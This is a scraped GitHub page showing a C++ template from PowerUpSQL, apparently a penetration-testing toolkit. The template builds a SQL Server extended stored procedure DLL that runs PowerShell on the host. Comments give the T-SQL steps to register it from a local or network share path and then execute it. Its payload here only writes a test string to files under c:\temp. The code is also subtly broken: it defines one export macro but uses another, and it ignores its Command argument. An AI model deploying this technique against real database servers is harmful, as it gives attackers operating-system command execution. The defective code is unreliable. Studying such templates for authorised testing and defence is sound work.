Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
PowerUpSQL/templates/tsql/oscmdexec_customxp.cpp
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
35 lines (29 sloc)
997 Bytes
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Register xp via local path: sp_addextendedproc 'RunPs', 'c:\myxp.dll' | |
# Register xp via UNC path: sp_addextendedproc 'RunPs', '\\servername\pathtofile\myxp.dll' | |
# Run: exec RunPs | |
# Unregister xp: sp_dropextendedproc 'RunPs' | |
#include "stdio.h" | |
#include "stdafx.h" | |
#include "srv.h" | |
#include "shellapi.h" | |
#include "string" | |
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { | |
switch (ul_reason_for_call) | |
{ | |
case DLL_PROCESS_ATTACH: | |
case DLL_THREAD_ATTACH: | |
case DLL_THREAD_DETACH: | |
case DLL_PROCESS_DETACH: | |
break; | |
} | |
return 1; | |
} | |
__declspec(dllexport) ULONG __GetXpVersion() { | |
return 1; | |
} | |
#define RUNCMD_FUNC extern "C" __declspec (dllexport) | |
RUNPS_FUNC int __stdcall RunPs(const char * Command) { | |
ShellExecute(NULL, TEXT("open"), TEXT("powershell"), TEXT(" -C \" 'This is a test.'|out-file c:\\temp\\test_ps2.txt \" "), TEXT(" C:\\ "), SW_SHOW); | |
system("PowerShell -C \"'This is a test.'|out-file c:\\temp\\test_ps1.txt\""); | |
return 1; | |
} |